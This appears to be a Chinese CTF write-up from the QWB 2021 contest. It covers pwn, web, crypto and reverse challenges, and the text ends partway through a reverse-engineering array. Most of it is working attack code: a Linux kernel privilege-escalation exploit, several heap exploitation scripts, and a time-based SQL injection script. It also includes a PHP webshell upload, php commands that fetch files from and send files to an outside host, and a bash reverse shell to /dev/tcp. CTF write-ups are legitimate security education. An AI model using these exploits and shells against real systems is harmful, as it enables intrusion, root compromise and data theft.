文章目录
Pwn
notebook
6月12日23点25分左右提交
// gcc exp.c -o exp --static -lpthread -O3 -s
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#define MAX_DATA_SIZE 0x1000000
#define SEARCH_SIZE 0x10000
#define PIPE_SIZE 0x280
int fd;
int pipe_fd[2];
size_t heap[2];
size_t mod_address,cookie,kernel_base;
struct args {
size_t index;
size_t size;
char *buf;
};
void note_add(size_t index,size_t size,char *p)
{
struct args ar;
ar.index = index;
ar.size = size;
ar.buf = p;
ioctl(fd,0x100,&ar);
}
void note_del(size_t index)
{
struct args ar;
ar.index = index;
ioctl(fd,0x200,&ar);
}
void note_edit(size_t index,size_t size,char *p)
{
struct args ar;
ar.index = index;
ar.size = size;
ar.buf = p;
ioctl(fd,0x300,&ar);
}
void gift(char *p)
{
struct args ar;
ar.buf = p;
ioctl(fd,100,&ar);
}
void write_to_kernel (size_t index, char *user_ptr)
{
write(fd,user_ptr,index);
}
void read_from_kernel (size_t index, char *user_ptr)
{
read(fd,user_ptr,index);
}
void errExit(char* msg)
{
puts(msg);
exit(-1);
}
uint64_t fault_page, fault_page_len;
void* UAF_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] Handler Created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1) // Wainting copy_from_user/copy_to_user访问FAULT_PAGE
errExit("[-] Wrong pool return value");
puts("[+] Trigger! I'm going to hang");
note_del(0);
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
errExit("[-] Error in reading uffd_msg");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
struct uffdio_copy uc;
size_t target = cookie ^ (mod_address + 0x2500 - 0x10) ^ heap[0];
uint64_t DATA[2] = {target,0};
uc.src = (unsigned long)DATA;
uc.dst = (unsigned long)fault_page;
uc.len = fault_page_len;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc); // 恢复copy_from_user
puts("[+] Done");
return NULL;
}
void register_userfault()
{
struct uffdio_api ua;
struct uffdio_register ur;
pthread_t thr;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("[-] ioctl-UFFDIO_REGISTER"); //注册页地址与错误处理FD,若访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
if ( pthread_create(&thr, NULL, UAF_handler, (void*)uffd) ) // handler函数进行访存错误处理
errExit("[-] pthread_create");
return;
}
void shell(){
puts("ROOT [+]");
system("/bin/sh");
}
int main()
{
signal(SIGSEGV, shell);
fd = open("/dev/notebook", O_RDWR);
if(fd < 0) _exit(-1);
char *data = calloc(1,0x100);
char *mem = calloc(1,MAX_DATA_SIZE);
FILE *stream =popen("cat /tmp/moduleaddr | awk '{print $6}'","r");
fread(mem,0x12,1,stream);
mod_address = strtoul(mem,NULL,16);
printf("Mod_BASE:\t %lX\n",mod_address);
note_add(0,0x60,data);
note_add(1,0x60,data);
gift(mem);
heap[0] = *(size_t*)mem;
heap[1] = *(size_t*)(mem + 0x10);
printf("HEAP - 0:\t %lX\n",heap[0]);
printf("HEAP - 1:\t %lX\n",heap[1]);
note_del(1);
note_del(0);
note_add(0,0x60,data);
note_add(1,0x60,data);
read_from_kernel(0,mem);
cookie = (*(size_t*)mem) ^ heap[0] ^ heap[1];
// cookie = 0xBCA44720644C7674;
printf("XOR Cookie:\t%lX\n",cookie);
fault_page = (size_t)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
fault_page_len = 0x1000;
register_userfault(); // 注册监视缺页内存
write_to_kernel(0,(char*)fault_page); // 触发缺页并挂起进程
note_del(1);
*(size_t*)(data + 0xF0) = cookie ^ (mod_address + 0x2500 - 0x10);
uint32_t i;
size_t tmp_chunk;
for(i = 0; i < 0x10; i++)
{
note_add(i,0x60,data);
gift(mem);
tmp_chunk = *(size_t*)(mem + i*0x10);
if(tmp_chunk == heap[0]) {
printf("Next is Target, Has Found, Index: %d\n",i);
break;
}
if(i == 0xF)
{
puts("Can not Found the Target");
_exit(-1);
}
}
// __kmalloc 0xFFFFFFFF812368D0
// xor cookie address 0xFFFFFFFF81239E1C or 0xFFFFFFFF81236960
note_add(i + 1,0x60,data);
size_t BUF[0x10] = {0};
BUF[2] = mod_address + 0x168;
BUF[3] = 0x4;
BUF[4] = mod_address + 0x2500;
BUF[5] = 0x100;
write_to_kernel(i + 1,BUF);
read_from_kernel(0,mem);
kernel_base = ((*(uint32_t*)mem + mod_address + 0x16C) | 0xFFFFFFFF00000000) - 0x476C30;
printf("Kernel_BASE:\t%lX\n",kernel_base);
size_t modprobe_path = kernel_base + 0x125D2E0;
BUF[0] = modprobe_path;
BUF[1] = 0x10;
write_to_kernel(1,BUF);
strcpy(data,"/tmp/copy.sh");
write_to_kernel(0,data);
system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/copy.sh");
system("chmod +x /tmp/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
close(fd);
_exit(-1);
}
babypwn
from pwn import*
#context.log_level = 'DEBUG'
def menu(ch):
p.sendlineafter('>>>',str(ch))
def add(size):
menu(1)
p.sendlineafter('size:',str(size))
def free(index):
menu(2)
p.sendlineafter('index:',str(index))
def edit(index,content):
menu(3)
p.sendlineafter('index:',str(index))
p.sendafter('content:',content)
def show(index):
menu(4)
p.sendlineafter('index:',str(index))
p = process('./main')
p = remote('39.105.130.158',8888)
libc = ELF('./libc.so.6')
for i in range(7):
add(0x100)
add(0x100)
add(0x100) #8
add(0x10) #9
edit(7,'\x00'*0xF0 + p64(0x100) + p64(0x121))
for i in range(7):
free(i)
free(7)
add(0x108)
edit(0,'U'*0x108)
free(0)
add(0xA0) #0
add(0x40) #1
for i in range(7):
add(0xA0)
for i in range(6):
free(i + 2)
for i in range(5):
add(0x40)
for i in range(5):
free(i + 2)
free(10)
free(0)
free(8)
for i in range(7):
add(0xA0)
free(1)
add(0xA0) #1
add(0x140)
edit(8,'\x60\x87')
add(0x40) #10
add(0x40) #11
edit(11,p64(0xFBAD1800) + '\x00'*0x18 + '\xC8')
libc_base = u64(p.recvuntil('\x7F',timeout = 0.2)[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
log.info('LIBC:\t' + hex(libc_base))
context.arch = "amd64"
free_hook = libc_base + libc.sym['__free_hook']
new_execve_env = free_hook & 0xFFFFFFFFFFFFF000
R = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000
mov eax, 0
syscall
jmp rsi
''' % new_execve_env
pop_rdi_ret = libc_base + 0x000000000002155F
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x00000000000439C8
pop_rsi_ret = libc_base + 0x0000000000023E6A
syscall = libc_base + libc.sym['syscall']
ret = libc_base + 0x8AA
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
orw = p64(pop_rdi_ret) + p64(libc_base + libc.bss() + 0x78)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(libc_base + libc.bss())
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
orw += 'flag.txt\x00'
for i in range(4):
add(0x140)
free(12)
free(13)
free(14)
free(15)
free(10)
edit(8,p64(libc_base + libc.bss()))
add(0x140) #10
add(0x140) #12
edit(12,orw)
free(10)
edit(8,p64(libc_base + libc.sym['__free_hook']))
add(0x140) #10
frame = SigreturnFrame()
frame.rsp = libc_base + libc.bss()
frame.rip = pop_rdi_ret + 1
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
edit(10,str(frame))
add(0x140) #13
sleep(1)
edit(13,p64(libc_base + libc.sym['setcontext'] + 53))
######################
free(10)
p.interactive()
baby_diary
from pwn import*
def menu(ch):
p.sendlineafter('>> ',str(ch))
def new(size,content):
menu(1)
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)
def show(index):
menu(2)
p.sendlineafter('index:',str(index))
def free(index):
menu(3)
p.sendlineafter('index:',str(index))
libc = ELF('./libc-2.31.so')
while(1):
p = remote('8.140.114.72',1399)
try:
for i in range(2):
new(0x2000,'\x00')
new(0x1000 - 0x2F0 - 0x5F0,'\x00')
new(0x4F0 ,'\x00') #3
new(0x107,'\x00')
new(0x500 ,'\x00') #5
new(0x107,'\x00') #6 - 7 -8
new(0x107,'\x00')
new(0x107 - 0x60,'\x00')
new(0x510 ,'\x00') #9
new(0x107,'\x00')
new(0x4F0,'\x00') #11
new(0x107,'\x00') #12
free(3)
free(5)
free(9)
new(0x1000,'\x00')
free(3)
new(0x500,'\x00'*7 + '\x71' + p64(0xE01)[0:7]) # 3
new(0x4F0,'\x00'*0x10+ '\x00') # 5
free(11)
new(0x1000,'\x00') # 9
free(9)
new(0x510,'\x00') #9
new(0x4F0,'\x00'*0x20) #11
free(10)
new(0x107,'\x00'*0x107) #10
free(10)
new(0x107,'\x00'*0xFF + '\xE0') #10
#gdb.attach(p,"source 1.s")
free(11)
new(0x500 - 0x10,'FMYY') #11
show(6)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))
free(12)
free(7)
new(0x130,'\x00'*0x108 + p64(0x111) + p64(libc_base + libc.sym['__free_hook'])) #7
new(0xCB0,'/bin/sh\x00') #12
new(0x100,p64(libc_base + libc.sym['system']))
new(0x100,p64(libc_base + libc.sym['system']))
free(12)
break
except:
p.close()
continue
p.sendline('cat flag')
log.info("[+]FLAG:\t" + p.recv(100))
p.interactive()
pipeline
from pwn import*
def menu(ch):
p.sendlineafter('>> ',str(ch))
def new():
menu(1)
def make(index,off,size):
menu(2)
p.sendlineafter('index:',str(index))
p.sendlineafter('offset:',str(off))
p.sendlineafter('size:',str(size))
def free(index):
menu(3)
p.sendlineafter('index:',str(index))
def edit(index,size,content):
menu(4)
p.sendlineafter('index:',str(index))
p.sendlineafter('size:',str(size))
p.sendafter('data:',content)
def show(index):
menu(5)
p.sendlineafter('index:',str(index))
p = process('./main')
p = remote('59.110.173.239',2399)
libc = ELF('./libc-2.31.so')
for i in range(7):
new()
for i in range(7):
make(i,0,0x10)
for i in range(7):
make(i,0,0)
new()
make(0,0,0x10)
show(0)
p.recvuntil('data: ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x420
log.info('HEAP:\t' + hex(heap_base))
make(0,0,0x20)
new()
make(1,0,0x1F0)
new()
make(2,0,0x1F0)
new()
make(3,0,0x1F0)
new()
make(4,0,0x1F0)
edit(0,0xFFFF0030,'\x00'*0x28 + p64(0x601))
make(1,0,0)
make(1,0,0x1F0)
show(2)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))
new()
make(5,0,0x1F0)
new()
make(6,0,0x1F0)
for i in range(7):
free(i)
new()
make(5,0,0x80)
new()
make(6,0,0x90)
edit(5,0xFFFF0200,'/bin/sh\x00' + '\x00'*0x80 + p64(0x21) + p64(libc_base + libc.sym['__free_hook']) + p32(0) + p32(0x10) + '\n')
edit(6,0x10,p64(libc_base + libc.sym['system']) + '\n')
make(5,0,0)
p.interactive()
nooutput
from pwn import*
r=remote('39.105.138.97',1234)
#r=process('./main')
context.binary=elf=ELF("./main")
context(os='linux',arch='i386',log_level='debug')
read_plt=0x80490C0
open_plt=0x80490F0
read_got=0x804C010
open_got=0x804c01c
pop_ebx=0x08049022
ppp=0x8049580
leave=0x80491a5
bss=0x804C800
main=0x8049236
#gdb.attach(r,'b *0x8049267')
r.send(p32(0)+'a'*0x2c)
r.send('a'*0x20)
r.send('hello_boy'.ljust(0x10,'\x00'))
r.sendline(str(-0x80000000))
r.sendline(str(-1))
payload='\x00'*0x4c
payload+=p32(read_plt)+p32(ppp)+p32(0)+p32(bss)+p32(0x100)
payload+=p32(bss)+p32(leave)
r.send(payload.ljust(0x100,'\x00'))
msg='/bin/sh'
PLT=0x8049030
rel_plt=0x8048414
index_offset=(bss+28)-rel_plt
dynsym=0x8048248
dynstr=0x8048318
fake_sym_addr=bss+36
align=0x10-((fake_sym_addr-dynsym) & 0xf)
fake_sym_addr+=align
index_dynsym=(fake_sym_addr-dynsym)/0x10
r_info=(index_dynsym<<8)|0x7
fake_rel=p32(open_got)+p32(r_info)
st_name=(fake_sym_addr+0x10)-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
payload=p32(0)
payload+=p32(PLT)+p32(index_offset)+p32(0)
payload+=p32(bss+80)+p32(0)+p32(0)
payload+=fake_rel
payload+='A'*align
payload+=fake_sym
payload+='system\x00'
payload+='A'*(80-len(payload))
payload+=msg+'\x00'
payload+='A'*(100-len(payload))
r.send(payload)
r.interactive()
orw
from pwn import*
r=remote('39.105.131.68',12354)
#r=process('./main')
context(os='linux',arch='amd64',log_level='debug')
def new(idx,size,content):
r.recvuntil('choice >>\n')
r.sendline('1')
r.recvline()
r.sendline(str(idx))
r.recvline()
r.sendline(str(size))
r.recvline()
r.send(content)
def delete(idx):
r.recvuntil('choice >>\n')
r.sendline('4')
r.recvline()
r.sendline(str(idx))
shell=''
shell+=asm("mov rax,0x2")
shell+=asm("add rdi,0x46")
shell+=asm("mov rsi,0")
shell+=asm("mov rdx,0")
shell+=asm("syscall")
shell+=asm("mov rax,0")
shell+=asm("mov rsi,rdi")
shell+=asm("mov rdi,0x3")
shell+=asm("mov rdx,0x30")
shell+=asm("syscall")
shell+=asm("mov rax,0x1")
shell+=asm("mov rdi,0x1")
shell+=asm("syscall")
shell+=asm("ret")
shell+='flag'
new(-0x19,0,shell+'\n')
#gdb.attach(r)
delete(-0x19)
r.interactive()
shellcode
from pwn import*
#r=process('./main')
context(os='linux',arch='amd64',log_level='info')
index=0
possible_list="{}-abcdefghijklmnopqrstuvwxyz0123456789\x00"
flag=""
def once():
shell=''
shell+=asm("""
push rbx
push rbx
pop rcx
push 0x41414141
pop rax
xor DWORD PTR [rcx+0x20],eax
pop rax
pop rax
pop rax
push r11
pop rdx
""")
shell+=asm("pop rbx")*0xE
shell+=asm("""
.byte 0x4e
.byte 0x44
""")
#gdb.attach(r,'b *0x40026D')
r.sendline(shell.ljust(0x300,'\x20'))
#pause()
shell='\x00'*0x22
shell+=asm("""
mov rdi,0x20000000
mov rsi,0x1000
mov rdx,0x7
mov rax,9
syscall
xchg rdi,rsi
xor rdi,rdi
mov rdx,0x300
xor rax,rax
syscall
add rsi,0x5
push 0x23
push rsi
retfq
""")
r.send(shell.ljust(0x246,'\x00'))
shell='flag\x00'+'\xB8\x05\x00\x00\x00\xBB\x00\x00\x00\x20\x31\xC9\x31\xD2\xCD\x80'+'\xBC\x10\x00\x00\x20\x6A\x33\x68\x23\x00\x00\x20'+'\x48\xCB'
shell+=asm("""
xor rax,rax
mov rdi,0x3
mov rsi,0x20000000
mov rdx,0x30
syscall
""")
shell+=asm("mov bl,byte ptr[rsi+"+hex(index)+"]")
shell+=asm("cmp bl,"+hex(char))
shell+=asm("jz $-0x3")
r.send(shell.ljust(0x300,'\x00'))
while (True):
for i in range(len(possible_list)):
char=ord(possible_list[i])
r=remote('39.105.137.118',50050)
once()
start=time.time()
r.can_recv_raw(timeout=3)
end=time.time()
r.close()
if (end-start>3):
flag+=possible_list[i]
print flag
break
index=index+1
if (flag[len(flag)-1]=='}'): break
Web
Hard_pentest
shiro rememberme白给,用工具 CommonsCollections10 一把梭
java -jar .\shiro_tool.jar http://eci-2ze7erauybavuxsj2alf.cloudeci1.ichunqiu.com:8888
shell弹出来,/flag是www-data的700权限,读取不了
用php出网下载和上传文件:
php -r "copy('http://xxx/tshd','/tmp/wh1sper/tshd');"
php -r "fwrite(fsockopen('xxx',8082),fread(fopen('/tmp/wh1sper/apache2.tar','r'),filesize('/tmp/wh1sper/apache2.tar')));"
在ports.conf里面发现8005,是个tp3
上msf,上socks;
访问本机8005端口,看到是baocms,网上找到源码,代码审计:
Tudou\Lib\Action\Wap\CommonAction.class.php
发现有模板包含加路径穿越,在传入的模板名后拼接.html
,模板名可控
于是写入php读文件然后包含即可:
EasyWeb
根据提示扫35000-40000端口得到36842端口
访问是个web服务,需要登录,简单测了一下是时间盲注
exp:
import requests
import time
def timeInjection():
URL = "http://121.42.242.238:36842/account/login"
result = ""
payload = "-1'||if((ascii(substr((select password from easyweb.employee limit 1),{},1))={}),sleep(2),0)#"
for i in range(1,100):
for j in range(32,128):
tmp_payload = payload.format(i,j)
params = {
'username':tmp_payload,
'password':"1"
}
start_time = time.time()
requests.post(url = URL, data=params)
if time.time() - start_time > 2:
result += chr(j)
print(result)
print(time.time() - start_time)
break
else:
pass
timeInjection()
#easyweb
#employee
#admin 99f609527226e076d668668582ac4420
登录后扫目录发现/file/
路由存在文件上传
可以换行绕过文件名过滤:
poc:
POST /file/ HTTP/1.1
Host: 121.42.242.238:36842
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------34604615483941596614945285015
Content-Length: 233
Connection: close
Cookie: ci_session=4b82egoiesr4q1stblq264khvbpn036p; id=1; code=dYQZRecwcHEB5932PB1RbvX44wmYwKNJ
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
-----------------------------34604615483941596614945285015
Content-Disposition: form-data; name="file"; filename="a\.
php"
Content-Type: image/jpeg
<?=$_POST[0]
;
-----------------------------34604615483941596614945285015--
执行多次由于后端修改文件名递增得到1.php、2.php
拿到shell发现/flag
需要root权限读取
查看最近修改的文件发现有jboss应用,猜测有jboss服务在本地端口
信息搜集发现开在了8006端口,于是代理进去访问看到一个1.jsp:
不知道是其他选手打的还是预留的,在本地找到源码:
(其实是jsp会被jboss编译成class,即一个servlet. 靠linpeas 看最近变化的文件也可以发现。所以就可以拿到别人部署的马的源码了。)
/etc/jboss/server/default/work/jboss.web/localhost/_/org/apache/jsp/_1_jsp.java
关键源码:
if ( "023" .equals(request.getParameter( "pwd" ))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter( "i" )).getInputStream();
反应过来就是Jboss未授权访问走jmx-console了。直接上车。
jboss是root权限,拿到flag:
WhereIsUWebShell
第一步需要绕Exception,显然用 fast destruct 这个trick.不过用phpggc里的fastDestruct时候不太行的样子。所以手动构造下
<?php
class myclass {
public $data;
}
class Hello{
public $qwb="e2a7106f1cc8bb1e1318df70aa0a3540.php";
}
$a = new myclass();
$b = new Hello();
$a->data = $b;
$payload = serialize($a);
$poc = 'a:2:{i:7;O:7:"myclass":1:{s:4:"data";'.$payload.'i:7;i:0}';
echo urlencode($poc);
读到源码后是国赛某题的构造png马。往IDAT写内容就行了。至于方法参考这位师傅的博文 https://blog.csdn.net/miuzzx/article/details/116885083?spm=1001.2014.3001.5501
避免小写字符以防inflate内容过长,然后上传靠string.strip_tags稳定构造临时文件。写出来getshell。
上传:
# coding: utf-8
# -**- author: byc_404 -**-
import requests
import time
import threading
from base64 import b64decode
s = requests.session()
file="iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAATElEQVR4nGNcPD89RVZBTCgkX0dFVFsxXSk7Pz5Y4O/BB0Jn3+y+o2XO8fQg8wfjH06KljkuNQyjYBSMglEwCkbBKBgFo2AUjIJhDACjvhICv3YU9AAAAABJRU5ErkJggg=="
url = 'http://eci-2zece4hj2xonplasisig.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php'
files = {'file':('webshell',b64decode(file.encode()))}
def upload_file():
try:
while 1:
r = s.post(url=url, files=files, params={
'4724ca52-770f-480a-81bd-83b284decdea': "php://filter/string.strip_tags/resource=e2a7106f1cc8bb1e1318df70aa0a3540.php"})
time.sleep(0.1)
except requests.exceptions.ConnectionError:
print('Connection Error')
time.sleep(5)
def main():
workers = []
for t in range(30):
worker = threading.Thread(target=upload_file, args=())
worker.start()
workers.append(worker)
for worker in workers:
worker.join()
if __name__ == '__main__':
main()
包含
url = 'http://eci-2zece4hj2xonplasisig.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php'
def include():
r = requests.get(url, params={
'543419b2-b330-4f4e-ad5d-ea633ae86258': '/tmp' # scandir
})
files = re.findall(r'php[a-zA-Z0-9]{6}', r.text)
print(len(files))
for file in files:
print(f'/tmp/{file}')
r = requests.get(url, params={
'1':'system("bash -c \'bash -i >& /dev/tcp/xxxx/9003 0>&1\'");',
'4724ca52-770f-480a-81bd-83b284decdea': f'/tmp/{file}' # include file,
}, data={'1': 'echo "12232332";'})
print(r.text)
while True:
include()
进去后发现没有flag,找了下suid发现某readflag程序。再找下flag对应文件去读。
flag{a66f0096-aff2-4bf4-b3ab-b6a37976bdbe}
[强网先锋]赌徒
<?php
class Start {
public $name;
}
class Info
{
public $file;
}
class Room{
public $a;
public $file="/flag";
}
$c = new Room();
$c->a = new Room();
$b = new Info();
$b->file = ["filename"=>$c];
$a = new Start();
$a->name = $b;
echo(urlencode(serialize($a)));
pop_master
题目其实相当于一个静态分析,差不多就是写脚本实现一个live variable analysis.可控参数能传到eval里的数据流就是我们的目的。
想了下考虑直接php实现一个dfs,然后显然需要剪枝。这里观察下只要出现redefine 的情况就可以剪掉了。
带剪枝的dfs如下。最后只会搜到一个满足条件的方法名
<?php
// 剪枝
function purne($funcContent, $parameter) {
if (preg_match('/\\$'.$parameter.'\=[ \$\'0-9a-zA-Z]{6,7};/', $funcContent, $res)) {
return true;
}
return false;
}
// 获取调用方法及参数
function getCallFunction($content) {
if (preg_match_all('/([0-9a-zA-Z]{6})\(\$([0-9a-zA-Z]{5})\)/i', $content,$res)) {
if (count($res[1]) == 2) {
return [$res[1], [$res[2][0]]];
} else {
return [$res[1], $res[2]];
}
} else if (preg_match('/eval\(\$([0-9a-zA-Z]{5})\);/',$content, $res)) {
return [['eval'], [$res[1]]];
}
}
$funcMap = [];
$classMap = [];
$classes = array_slice(get_declared_classes(), 167);
foreach ($classes as $class) {
$class = new ReflectionClass($class);
$methods = $class->getMethods();
$classMap[$class->name] = [$methods[0]->name, $methods[1]->name];
foreach ($methods as $method) {
foreach ($method->getParameters() as $param) {
// funcname => [className, paramname, startLine, endLine]
$funcMap[$method->name] = [$method->class, $param->name, $method->getStartLine(), $method->getEndLine()];
}
}
}
$lines = file('./class.php');
$ans = [];
function dfs(&$funcMap, &$func, &$lines, &$ans) {
$start = $funcMap[$func][2];
$end = $funcMap[$func][3];
$funcText = implode(array_slice($lines, $start, $end - $start));
$result = getCallFunction($funcText);
$methods = $result[0];
$parameter = $result[1][0];
$shouldPurne = purne($funcText, $parameter);
if ($shouldPurne) {
return;
} else if ($methods[0] == 'eval') {
array_push($ans, $func);
return;
} else {
foreach ($methods as $m) {
dfs($funcMap, $m, $lines, $ans);
}
}
}
$start = 'x9tqyo';
dfs($funcMap, $start, $lines, $ans);
var_dump($ans);
按照pop链构造原则直接回溯就可以拿到pop链用到的26个类。手动写个生成就行。
[强网先锋]寻宝
信息一
套娃,一层层过就行
ppp[number1]=1025 &ppp[number2]=9e5&ppp[number3]=61823470&ppp[number4]=0eeeeee&ppp[number5]={"key":0001}
信息二
遍历docx打印下内容,找到key2就停止。
Crypto
guess_game
6月13日13:20左右得到flag
from pwn import *
from Crypto.Util.number import *
import random
import hashlib
from collections import deque
class generator:
def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):
self.NFSR = deque()
self.LFSR = deque()
for i in range(80):
self.NFSR.append(key[i])
for i in range(64):
self.LFSR.append(iv[i])
for i in range(64, 80):
self.LFSR.append(1)
self.clock()
if hint:
s = self.NFSR + self.LFSR
for i in range(k, k + m):
s[i] ^= 1
self.NFSR = deque(list(s)[:80])
self.LFSR = deque(list(s)[80:])
def clock(self):
for i in range(160):
zi = self.PRGA()
self.NFSR[79] ^= zi
self.LFSR[79] ^= zi
def PRGA(self):
x0 = self.LFSR[3]
x1 = self.LFSR[25]
x2 = self.LFSR[46]
x3 = self.LFSR[64]
x4 = self.NFSR[63]
hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) \
^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)
zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[
56]) ^ hx
fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]
gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37] \
^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0] \
^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9]) \
^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21]) \
^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ (
self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33]) \
^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ (
self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37]) \
^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ (
self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])
self.LFSR.popleft()
self.LFSR.append(fx)
self.NFSR.popleft()
self.NFSR.append(gx)
return zi
status = [False]*51200
for guess in range(160):
k = guess // 2
m = guess % 10
if(m==0):
m = 10
for _ in range(160):
key = bin(random.getrandbits(80))[2:].zfill(80)
key = list(map(int, key))
iv = bin(random.getrandbits(64))[2:].zfill(64)
iv = list(map(int, iv))
a = generator(key, iv, False)
b = generator(key, iv, True, k, m)
for i in range(160):
status[(a.PRGA()^b.PRGA())*25600+160*guess+i] = True
print('ok')
HOST = "39.105.139.103"
POST = 10002
def proof_of_work():
rev = r.recvuntil("sha256(xxxx + ")
suffix = r.recv(16).decode()
rev = r.recvuntil(" == ")
tar = r.recv(64).decode()
def f(x):
hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest()
return hashresult == tar
prefix = util.iters.mbruteforce(f, string.digits + string.ascii_letters, 4, 'upto')
r.recvuntil("give me xxxx:")
r.sendline(prefix)
while True:
try:
r = remote(HOST,POST)
proof_of_work()
for _ in range(32):
r.recvuntil(b"Here are some tips might help your:")
data = r.recvline()
k1 = int(r.recvline())
k2 = int(r.recvline())
r.recvuntil(b">")
now = bin(k1^k2)[2:].zfill(160)
for guess in range(161):
if(guess==160):
r.sendline('1')
break
for i in range(160):
if(status[25600*int(now[i])+160*guess+i]==False):
break
if(i==159):
r.sendline(str(guess))
break
data = r.recvline()
if(data == b"wrong!\n"):
print(guess)
r.close()
raise Exception
r.interactive()
except:
pass
Reverse
ezmath
爆不出来,化简推公式,里面的num在init时做手脚了,动态调试看看的
#include<cstdio>
unsigned char num[] = {
0x69, 0x57, 0x14, 0x8B, 0x0A, 0xBF, 0x05, 0x40
};
unsigned char check[] =
{
0x39, 0xCA, 0x59, 0xBD, 0x3F, 0xAD, 0x19, 0x3F, 0x95, 0xCA,
0x21, 0x10, 0x63, 0xEC, 0x1A, 0x3F, 0xA1, 0xFF, 0xF2, 0x2D,
0x29, 0x1A, 0x18, 0x3F, 0x9E, 0x12, 0x72, 0xF8, 0x06, 0x95,
0x1C, 0x3F, 0x3A, 0xB4, 0xA9, 0xAB, 0xC6, 0x2A, 0x1D, 0x3F,
0xA2, 0xBA, 0x40, 0x57, 0xD5, 0x68, 0x1A, 0x3F, 0x3A, 0xB4,
0xA9, 0xAB, 0xC6, 0x2A, 0x1D, 0x3F, 0xFB, 0x48, 0xC4, 0x94,
